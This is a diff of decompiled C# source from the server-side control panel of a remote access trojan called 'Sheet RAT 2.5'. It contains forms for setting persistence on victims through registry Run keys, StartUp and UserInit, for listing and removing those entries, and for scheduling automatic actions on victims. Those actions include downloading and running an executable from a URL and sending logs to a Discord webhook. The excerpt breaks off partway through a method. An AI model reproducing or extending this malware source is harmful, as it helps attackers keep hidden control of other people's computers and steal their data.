||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormAddAutoRun));
|
||||
this.button1 = new MetroButton();
|
||||
this.metroLabel1 = new MetroLabel();
|
||||
this.metroLabel2 = new MetroLabel();
|
||||
this.MyFile = new MetroCheckBox();
|
||||
this.metroLabel3 = new MetroLabel();
|
||||
this.Path = new MetroTextBox();
|
||||
this.RegName = new MetroTextBox();
|
||||
this.RegPath = new MetroComboBox();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
this.button1.Location = new Point(17, 221);
|
||||
this.button1.Margin = new Padding(2);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(56, 19);
|
||||
this.button1.Style = MetroColorStyle.Lime;
|
||||
this.button1.TabIndex = 4;
|
||||
this.button1.Text = "Set";
|
||||
this.button1.Theme = MetroThemeStyle.Dark;
|
||||
this.button1.UseSelectable = true;
|
||||
this.button1.UseStyleColors = true;
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.metroLabel1.AutoSize = true;
|
||||
this.metroLabel1.Location = new Point(17, 72);
|
||||
this.metroLabel1.Margin = new Padding(2, 0, 2, 0);
|
||||
this.metroLabel1.Name = "metroLabel1";
|
||||
this.metroLabel1.Size = new Size(103, 19);
|
||||
this.metroLabel1.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel1.TabIndex = 5;
|
||||
this.metroLabel1.Text = "Name Auto Run";
|
||||
this.metroLabel1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel1.UseStyleColors = true;
|
||||
this.metroLabel2.AutoSize = true;
|
||||
this.metroLabel2.Location = new Point(17, 121);
|
||||
this.metroLabel2.Margin = new Padding(2, 0, 2, 0);
|
||||
this.metroLabel2.Name = "metroLabel2";
|
||||
this.metroLabel2.Size = new Size(67, 19);
|
||||
this.metroLabel2.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel2.TabIndex = 8;
|
||||
this.metroLabel2.Text = "PathToFile";
|
||||
this.metroLabel2.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel2.UseStyleColors = true;
|
||||
this.MyFile.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
this.MyFile.AutoSize = true;
|
||||
this.MyFile.Location = new Point(490, 125);
|
||||
this.MyFile.Margin = new Padding(2);
|
||||
this.MyFile.Name = "MyFile";
|
||||
this.MyFile.Size = new Size(58, 15);
|
||||
this.MyFile.Style = MetroColorStyle.Lime;
|
||||
this.MyFile.TabIndex = 217;
|
||||
this.MyFile.Text = "MyFile";
|
||||
this.MyFile.Theme = MetroThemeStyle.Dark;
|
||||
this.MyFile.UseSelectable = true;
|
||||
this.MyFile.UseStyleColors = true;
|
||||
this.MyFile.CheckedChanged += new EventHandler(this.MyFile_CheckedChanged);
|
||||
this.metroLabel3.AutoSize = true;
|
||||
this.metroLabel3.Location = new Point(17, 167);
|
||||
this.metroLabel3.Margin = new Padding(2, 0, 2, 0);
|
||||
this.metroLabel3.Name = "metroLabel3";
|
||||
this.metroLabel3.Size = new Size(63 /*0x3F*/, 19);
|
||||
this.metroLabel3.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel3.TabIndex = 218;
|
||||
this.metroLabel3.Text = "Auto Run";
|
||||
this.metroLabel3.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel3.UseStyleColors = true;
|
||||
this.Path.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.Path.CustomButton.Image = (Image) null;
|
||||
this.Path.CustomButton.Location = new Point(514, 1);
|
||||
this.Path.CustomButton.Name = "";
|
||||
this.Path.CustomButton.Size = new Size(21, 21);
|
||||
this.Path.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.Path.CustomButton.TabIndex = 1;
|
||||
this.Path.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.Path.CustomButton.UseSelectable = true;
|
||||
this.Path.CustomButton.Visible = false;
|
||||
this.Path.Lines = new string[0];
|
||||
this.Path.Location = new Point(18, 145);
|
||||
this.Path.MaxLength = (int) short.MaxValue;
|
||||
this.Path.Name = "Path";
|
||||
this.Path.PasswordChar = char.MinValue;
|
||||
this.Path.ScrollBars = ScrollBars.None;
|
||||
this.Path.SelectedText = "";
|
||||
this.Path.SelectionLength = 0;
|
||||
this.Path.SelectionStart = 0;
|
||||
this.Path.ShortcutsEnabled = true;
|
||||
this.Path.Size = new Size(536, 23);
|
||||
this.Path.Style = MetroColorStyle.Lime;
|
||||
this.Path.TabIndex = 219;
|
||||
this.Path.Theme = MetroThemeStyle.Dark;
|
||||
this.Path.UseSelectable = true;
|
||||
this.Path.UseStyleColors = true;
|
||||
this.Path.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.Path.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.RegName.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.RegName.CustomButton.Image = (Image) null;
|
||||
this.RegName.CustomButton.Location = new Point(514, 1);
|
||||
this.RegName.CustomButton.Name = "";
|
||||
this.RegName.CustomButton.Size = new Size(21, 21);
|
||||
this.RegName.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.RegName.CustomButton.TabIndex = 1;
|
||||
this.RegName.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.RegName.CustomButton.UseSelectable = true;
|
||||
this.RegName.CustomButton.Visible = false;
|
||||
this.RegName.Lines = new string[0];
|
||||
this.RegName.Location = new Point(18, 94);
|
||||
this.RegName.MaxLength = (int) short.MaxValue;
|
||||
this.RegName.Name = "RegName";
|
||||
this.RegName.PasswordChar = char.MinValue;
|
||||
this.RegName.ScrollBars = ScrollBars.None;
|
||||
this.RegName.SelectedText = "";
|
||||
this.RegName.SelectionLength = 0;
|
||||
this.RegName.SelectionStart = 0;
|
||||
this.RegName.ShortcutsEnabled = true;
|
||||
this.RegName.Size = new Size(536, 23);
|
||||
this.RegName.Style = MetroColorStyle.Lime;
|
||||
this.RegName.TabIndex = 220;
|
||||
this.RegName.Theme = MetroThemeStyle.Dark;
|
||||
this.RegName.UseSelectable = true;
|
||||
this.RegName.UseStyleColors = true;
|
||||
this.RegName.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.RegName.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.RegPath.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.RegPath.FontSize = MetroComboBoxSize.Small;
|
||||
this.RegPath.FormattingEnabled = true;
|
||||
this.RegPath.ItemHeight = 19;
|
||||
this.RegPath.Items.AddRange(new object[5]
|
||||
{
|
||||
(object) "Current User",
|
||||
(object) "Local Machine",
|
||||
(object) "WOW64 32Node",
|
||||
(object) "StartUp",
|
||||
(object) "UserInit"
|
||||
});
|
||||
this.RegPath.Location = new Point(18, 189);
|
||||
this.RegPath.Name = "RegPath";
|
||||
this.RegPath.Size = new Size(536, 25);
|
||||
this.RegPath.Style = MetroColorStyle.Lime;
|
||||
this.RegPath.TabIndex = 221;
|
||||
this.RegPath.Theme = MetroThemeStyle.Dark;
|
||||
this.RegPath.UseSelectable = true;
|
||||
this.RegPath.UseStyleColors = true;
|
||||
this.timer1.Enabled = true;
|
||||
this.timer1.Interval = 1000;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(588, 268);
|
||||
this.Controls.Add((Control) this.RegPath);
|
||||
this.Controls.Add((Control) this.RegName);
|
||||
this.Controls.Add((Control) this.Path);
|
||||
this.Controls.Add((Control) this.metroLabel3);
|
||||
this.Controls.Add((Control) this.MyFile);
|
||||
this.Controls.Add((Control) this.metroLabel2);
|
||||
this.Controls.Add((Control) this.metroLabel1);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.ForeColor = Color.Yellow;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (FormAddAutoRun);
|
||||
this.Padding = new Padding(15, 60, 15, 16 /*0x10*/);
|
||||
this.Style = MetroColorStyle.Lime;
|
||||
this.Text = "Add AutoRun";
|
||||
this.TextAlign = MetroFormTextAlign.Center;
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.Load += new EventHandler(this.FormFileAddAutoRun_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,233 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.FormAutoRun
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using MetroFramework;
|
||||
using MetroFramework.Controls;
|
||||
using MetroFramework.Forms;
|
||||
using Server.Connection;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class FormAutoRun : MetroForm
|
||||
{
|
||||
public Clients client;
|
||||
public Clients Plugin;
|
||||
private IContainer components;
|
||||
public MetroGrid metroGrid1;
|
||||
private MetroContextMenu metroContextMenu1;
|
||||
private ToolStripMenuItem killToolStripMenuItem;
|
||||
public Timer timer1;
|
||||
private ToolStripMenuItem resfreshToolStripMenuItem;
|
||||
private ToolStripMenuItem addToolStripMenuItem;
|
||||
|
||||
public FormAutoRun() => this.InitializeComponent();
|
||||
|
||||
private void FormTaskMgr_Load(object sender, EventArgs e)
|
||||
{
|
||||
DataGridViewColumnCollection columns1 = this.metroGrid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn1 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn1.AutoSizeMode = DataGridViewAutoSizeColumnMode.None;
|
||||
viewTextBoxColumn1.HeaderText = "AutoRun";
|
||||
viewTextBoxColumn1.MinimumWidth = 150;
|
||||
columns1.Add((DataGridViewColumn) viewTextBoxColumn1);
|
||||
DataGridViewColumnCollection columns2 = this.metroGrid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn2 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn2.AutoSizeMode = DataGridViewAutoSizeColumnMode.None;
|
||||
viewTextBoxColumn2.HeaderText = "Name";
|
||||
viewTextBoxColumn2.MinimumWidth = 300;
|
||||
columns2.Add((DataGridViewColumn) viewTextBoxColumn2);
|
||||
DataGridViewColumnCollection columns3 = this.metroGrid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn3 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn3.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill;
|
||||
viewTextBoxColumn3.HeaderText = "Path";
|
||||
viewTextBoxColumn3.MinimumWidth = 300;
|
||||
columns3.Add((DataGridViewColumn) viewTextBoxColumn3);
|
||||
this.FormClosing += (FormClosingEventHandler) ((t, p) =>
|
||||
{
|
||||
if (this.Plugin == null)
|
||||
return;
|
||||
this.Plugin.Disconnected();
|
||||
});
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark || Customs.customs.Style != MetroColorStyle.Lime)
|
||||
{
|
||||
this.Theme = Customs.customs.Theme;
|
||||
this.Style = Customs.customs.Style;
|
||||
this.metroGrid1.Style = Customs.customs.Style;
|
||||
this.metroGrid1.Theme = Customs.customs.Theme;
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark)
|
||||
Program.form.SetThemeContextMenu(Customs.customs.Theme, (ContextMenuStrip) this.metroContextMenu1);
|
||||
this.Refresh();
|
||||
}
|
||||
this.metroGrid1.DefaultCellStyle = new DataGridViewCellStyle()
|
||||
{
|
||||
Alignment = DataGridViewContentAlignment.MiddleLeft,
|
||||
ForeColor = Customs.customs.StyleToColor(),
|
||||
Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel),
|
||||
BackColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White,
|
||||
SelectionForeColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White,
|
||||
SelectionBackColor = Customs.customs.StyleToColor(),
|
||||
WrapMode = DataGridViewTriState.False
|
||||
};
|
||||
this.metroGrid1.RowTemplate.Resizable = DataGridViewTriState.True;
|
||||
this.metroGrid1.RowTemplate.MinimumHeight = 30;
|
||||
}
|
||||
|
||||
private void killToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Plugin == null)
|
||||
return;
|
||||
foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGrid1.SelectedRows)
|
||||
this.Plugin.Send((object) $"Remove<@>{(string) selectedRow.Cells[1].Value}<@>{(string) selectedRow.Cells[0].Value}");
|
||||
}
|
||||
|
||||
private void resfreshToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Plugin == null)
|
||||
return;
|
||||
this.Plugin.Send((object) "Update");
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.client.Connect && this.Plugin.Connect)
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void addToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Plugin == null)
|
||||
return;
|
||||
int num = (int) new FormAddAutoRun()
|
||||
{
|
||||
clietns = this.Plugin
|
||||
}.ShowDialog();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
DataGridViewCellStyle gridViewCellStyle1 = new DataGridViewCellStyle();
|
||||
DataGridViewCellStyle gridViewCellStyle2 = new DataGridViewCellStyle();
|
||||
DataGridViewCellStyle gridViewCellStyle3 = new DataGridViewCellStyle();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormAutoRun));
|
||||
this.metroGrid1 = new MetroGrid();
|
||||
this.metroContextMenu1 = new MetroContextMenu(this.components);
|
||||
this.killToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.addToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.resfreshToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.timer1 = new Timer(this.components);
|
||||
((ISupportInitialize) this.metroGrid1).BeginInit();
|
||||
this.metroContextMenu1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.metroGrid1.AllowUserToAddRows = false;
|
||||
this.metroGrid1.AllowUserToDeleteRows = false;
|
||||
this.metroGrid1.AllowUserToResizeRows = false;
|
||||
this.metroGrid1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.metroGrid1.BackgroundColor = Color.FromArgb(17, 17, 17);
|
||||
this.metroGrid1.BorderStyle = System.Windows.Forms.BorderStyle.None;
|
||||
this.metroGrid1.CellBorderStyle = DataGridViewCellBorderStyle.None;
|
||||
this.metroGrid1.ClipboardCopyMode = DataGridViewClipboardCopyMode.Disable;
|
||||
this.metroGrid1.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None;
|
||||
gridViewCellStyle1.Alignment = DataGridViewContentAlignment.MiddleLeft;
|
||||
gridViewCellStyle1.BackColor = Color.FromArgb(142, 188, 0);
|
||||
gridViewCellStyle1.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel);
|
||||
gridViewCellStyle1.ForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle1.SelectionBackColor = Color.FromArgb(165, 219, 0);
|
||||
gridViewCellStyle1.SelectionForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle1.WrapMode = DataGridViewTriState.True;
|
||||
this.metroGrid1.ColumnHeadersDefaultCellStyle = gridViewCellStyle1;
|
||||
this.metroGrid1.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize;
|
||||
this.metroGrid1.ContextMenuStrip = (ContextMenuStrip) this.metroContextMenu1;
|
||||
gridViewCellStyle2.Alignment = DataGridViewContentAlignment.MiddleLeft;
|
||||
gridViewCellStyle2.BackColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle2.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel);
|
||||
gridViewCellStyle2.ForeColor = Color.FromArgb(109, 109, 109);
|
||||
gridViewCellStyle2.SelectionBackColor = Color.FromArgb(165, 219, 0);
|
||||
gridViewCellStyle2.SelectionForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle2.WrapMode = DataGridViewTriState.False;
|
||||
this.metroGrid1.DefaultCellStyle = gridViewCellStyle2;
|
||||
this.metroGrid1.EnableHeadersVisualStyles = false;
|
||||
this.metroGrid1.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel);
|
||||
this.metroGrid1.GridColor = Color.FromArgb(17, 17, 17);
|
||||
this.metroGrid1.Location = new Point(23, 63 /*0x3F*/);
|
||||
this.metroGrid1.Name = "metroGrid1";
|
||||
this.metroGrid1.ReadOnly = true;
|
||||
this.metroGrid1.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None;
|
||||
gridViewCellStyle3.Alignment = DataGridViewContentAlignment.MiddleLeft;
|
||||
gridViewCellStyle3.BackColor = Color.FromArgb(142, 188, 0);
|
||||
gridViewCellStyle3.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel);
|
||||
gridViewCellStyle3.ForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle3.SelectionBackColor = Color.FromArgb(165, 219, 0);
|
||||
gridViewCellStyle3.SelectionForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle3.WrapMode = DataGridViewTriState.True;
|
||||
this.metroGrid1.RowHeadersDefaultCellStyle = gridViewCellStyle3;
|
||||
this.metroGrid1.RowHeadersVisible = false;
|
||||
this.metroGrid1.RowHeadersWidthSizeMode = DataGridViewRowHeadersWidthSizeMode.DisableResizing;
|
||||
this.metroGrid1.SelectionMode = DataGridViewSelectionMode.FullRowSelect;
|
||||
this.metroGrid1.Size = new Size(838, 484);
|
||||
this.metroGrid1.Style = MetroColorStyle.Lime;
|
||||
this.metroGrid1.TabIndex = 13;
|
||||
this.metroGrid1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroContextMenu1.Items.AddRange(new ToolStripItem[3]
|
||||
{
|
||||
(ToolStripItem) this.killToolStripMenuItem,
|
||||
(ToolStripItem) this.addToolStripMenuItem,
|
||||
(ToolStripItem) this.resfreshToolStripMenuItem
|
||||
});
|
||||
this.metroContextMenu1.Name = "metroContextMenu1";
|
||||
this.metroContextMenu1.Size = new Size(181, 92);
|
||||
this.killToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17);
|
||||
this.killToolStripMenuItem.ForeColor = Color.FromArgb(192 /*0xC0*/, 0, 0);
|
||||
this.killToolStripMenuItem.Name = "killToolStripMenuItem";
|
||||
this.killToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.killToolStripMenuItem.Text = "Remove";
|
||||
this.killToolStripMenuItem.Click += new EventHandler(this.killToolStripMenuItem_Click);
|
||||
this.addToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17);
|
||||
this.addToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0);
|
||||
this.addToolStripMenuItem.Name = "addToolStripMenuItem";
|
||||
this.addToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.addToolStripMenuItem.Text = "Add";
|
||||
this.addToolStripMenuItem.Click += new EventHandler(this.addToolStripMenuItem_Click);
|
||||
this.resfreshToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17);
|
||||
this.resfreshToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0);
|
||||
this.resfreshToolStripMenuItem.Name = "resfreshToolStripMenuItem";
|
||||
this.resfreshToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.resfreshToolStripMenuItem.Text = "Resfresh";
|
||||
this.resfreshToolStripMenuItem.Click += new EventHandler(this.resfreshToolStripMenuItem_Click);
|
||||
this.timer1.Interval = 1000;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(884, 570);
|
||||
this.Controls.Add((Control) this.metroGrid1);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (FormAutoRun);
|
||||
this.Style = MetroColorStyle.Lime;
|
||||
this.Text = "AutoRun";
|
||||
this.TextAlign = MetroFormTextAlign.Center;
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.Load += new EventHandler(this.FormTaskMgr_Load);
|
||||
((ISupportInitialize) this.metroGrid1).EndInit();
|
||||
this.metroContextMenu1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,534 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.FormAutoTasksAdd
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using MetroFramework;
|
||||
using MetroFramework.Controls;
|
||||
using MetroFramework.Forms;
|
||||
using Newtonsoft.Json;
|
||||
using Server.Connection;
|
||||
using Server.Helper.Configs;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class FormAutoTasksAdd : MetroForm
|
||||
{
|
||||
private IContainer components;
|
||||
private MetroComboBox ComboBoxTrigger;
|
||||
private MetroLabel metroLabel4;
|
||||
private MetroComboBox ComboBoxAction;
|
||||
private MetroLabel metroLabel1;
|
||||
private MetroCheckBox OnlyRun;
|
||||
private MetroButton metroButton1;
|
||||
public MetroTextBox Input;
|
||||
private MetroLabel metroLabel2;
|
||||
private MetroCheckBox metroCheckBox1;
|
||||
|
||||
public FormAutoTasksAdd() => this.InitializeComponent();
|
||||
|
||||
private void FormAutoTasksAdd_Load(object sender, EventArgs e)
|
||||
{
|
||||
if (Customs.customs.Theme == MetroThemeStyle.Dark && Customs.customs.Style == MetroColorStyle.Lime)
|
||||
return;
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark)
|
||||
{
|
||||
this.Theme = Customs.customs.Theme;
|
||||
this.Style = Customs.customs.Style;
|
||||
this.ComboBoxTrigger.Theme = Customs.customs.Theme;
|
||||
this.ComboBoxAction.Theme = Customs.customs.Theme;
|
||||
this.Input.Theme = Customs.customs.Theme;
|
||||
this.OnlyRun.Theme = Customs.customs.Theme;
|
||||
this.metroLabel1.Theme = Customs.customs.Theme;
|
||||
this.metroLabel2.Theme = Customs.customs.Theme;
|
||||
this.metroLabel4.Theme = Customs.customs.Theme;
|
||||
this.OnlyRun.Theme = Customs.customs.Theme;
|
||||
this.metroCheckBox1.Theme = Customs.customs.Theme;
|
||||
this.metroButton1.Theme = Customs.customs.Theme;
|
||||
}
|
||||
if (Customs.customs.Style != MetroColorStyle.Lime)
|
||||
{
|
||||
this.ComboBoxTrigger.Style = Customs.customs.Style;
|
||||
this.ComboBoxAction.Style = Customs.customs.Style;
|
||||
this.Input.Style = Customs.customs.Style;
|
||||
this.OnlyRun.Style = Customs.customs.Style;
|
||||
this.metroLabel1.Style = Customs.customs.Style;
|
||||
this.metroLabel2.Style = Customs.customs.Style;
|
||||
this.metroLabel4.Style = Customs.customs.Style;
|
||||
this.OnlyRun.Style = Customs.customs.Style;
|
||||
this.metroCheckBox1.Style = Customs.customs.Style;
|
||||
this.metroButton1.Style = Customs.customs.Style;
|
||||
}
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void metroButton1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.ComboBoxTrigger.SelectedIndex == -1 || this.ComboBoxAction.SelectedIndex == -1)
|
||||
return;
|
||||
DataAuto task = new DataAuto();
|
||||
task.runs = 0L;
|
||||
task.onestart = this.OnlyRun.Checked;
|
||||
task.TaskName = this.Input.Text;
|
||||
task.Action = (EnumsAuto.action) this.ComboBoxAction.SelectedIndex;
|
||||
task.Trigger = (EnumsAuto.trigger) this.ComboBoxTrigger.SelectedIndex;
|
||||
if (this.ComboBoxAction.SelectedIndex == 0)
|
||||
{
|
||||
ColorDialog colorDialog = new ColorDialog();
|
||||
if (colorDialog.ShowDialog() == DialogResult.Cancel)
|
||||
{
|
||||
colorDialog.Dispose();
|
||||
return;
|
||||
}
|
||||
task.helperAction = JsonConvert.SerializeObject((object) new Metka()
|
||||
{
|
||||
integer = colorDialog.Color.ToArgb()
|
||||
}, Formatting.Indented);
|
||||
colorDialog.Dispose();
|
||||
}
|
||||
if (this.ComboBoxAction.SelectedIndex == 4)
|
||||
{
|
||||
using (OpenFileDialog openFileDialog = new OpenFileDialog())
|
||||
{
|
||||
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
task.helperAction = JsonConvert.SerializeObject((object) new SendFromDisk()
|
||||
{
|
||||
str = openFileDialog.FileName
|
||||
}, Formatting.Indented);
|
||||
}
|
||||
}
|
||||
if (this.ComboBoxAction.SelectedIndex == 5)
|
||||
{
|
||||
InputBoxCustom inputBoxCustom = new InputBoxCustom();
|
||||
inputBoxCustom.Text = "Url";
|
||||
inputBoxCustom.Input.Text = "Input Url here. Only for exe.";
|
||||
int num = (int) inputBoxCustom.ShowDialog();
|
||||
if (!inputBoxCustom.Input.Text.Contains("http"))
|
||||
{
|
||||
inputBoxCustom.Dispose();
|
||||
return;
|
||||
}
|
||||
task.helperAction = JsonConvert.SerializeObject((object) new SendFromLink()
|
||||
{
|
||||
str = inputBoxCustom.Input.Text
|
||||
}, Formatting.Indented);
|
||||
inputBoxCustom.Dispose();
|
||||
}
|
||||
if (this.ComboBoxAction.SelectedIndex == 11)
|
||||
{
|
||||
FormFreendConnect formFreendConnect = new FormFreendConnect();
|
||||
int num = (int) formFreendConnect.ShowDialog();
|
||||
if (string.IsNullOrEmpty(formFreendConnect.IP.Text) || string.IsNullOrEmpty(formFreendConnect.GROUP.Text))
|
||||
{
|
||||
formFreendConnect.Dispose();
|
||||
return;
|
||||
}
|
||||
task.helperAction = JsonConvert.SerializeObject((object) new FreendConnect()
|
||||
{
|
||||
host = formFreendConnect.IP.Text,
|
||||
group = formFreendConnect.GROUP.Text
|
||||
}, Formatting.Indented);
|
||||
formFreendConnect.Dispose();
|
||||
}
|
||||
if (this.ComboBoxAction.SelectedIndex == 12)
|
||||
{
|
||||
InputBoxCustom inputBoxCustom = new InputBoxCustom();
|
||||
inputBoxCustom.Text = "Webhook";
|
||||
inputBoxCustom.Input.Text = "Input Webhook discord";
|
||||
int num = (int) inputBoxCustom.ShowDialog();
|
||||
if (!inputBoxCustom.Input.Text.Contains("webhook"))
|
||||
{
|
||||
inputBoxCustom.Dispose();
|
||||
return;
|
||||
}
|
||||
task.helperAction = JsonConvert.SerializeObject((object) new SendNewLogToDiscord()
|
||||
{
|
||||
str = inputBoxCustom.Input.Text
|
||||
}, Formatting.Indented);
|
||||
inputBoxCustom.Dispose();
|
||||
}
|
||||
if (this.ComboBoxTrigger.SelectedIndex == 0)
|
||||
{
|
||||
InputBoxCustom inputBoxCustom = new InputBoxCustom();
|
||||
inputBoxCustom.Text = "Active Window Trigger";
|
||||
inputBoxCustom.Input.Text = "write comma-separated windows";
|
||||
int num = (int) inputBoxCustom.ShowDialog();
|
||||
if (string.IsNullOrEmpty(inputBoxCustom.Input.Text))
|
||||
{
|
||||
inputBoxCustom.Dispose();
|
||||
return;
|
||||
}
|
||||
task.helperTrigger = JsonConvert.SerializeObject((object) new ActiveWindow()
|
||||
{
|
||||
str = inputBoxCustom.Input.Text
|
||||
}, Formatting.Indented);
|
||||
inputBoxCustom.Dispose();
|
||||
}
|
||||
if (this.ComboBoxTrigger.SelectedIndex == 1)
|
||||
{
|
||||
InputBoxCustom inputBoxCustom = new InputBoxCustom();
|
||||
inputBoxCustom.Text = "Group Trigger";
|
||||
inputBoxCustom.Input.Text = "write Group";
|
||||
int num = (int) inputBoxCustom.ShowDialog();
|
||||
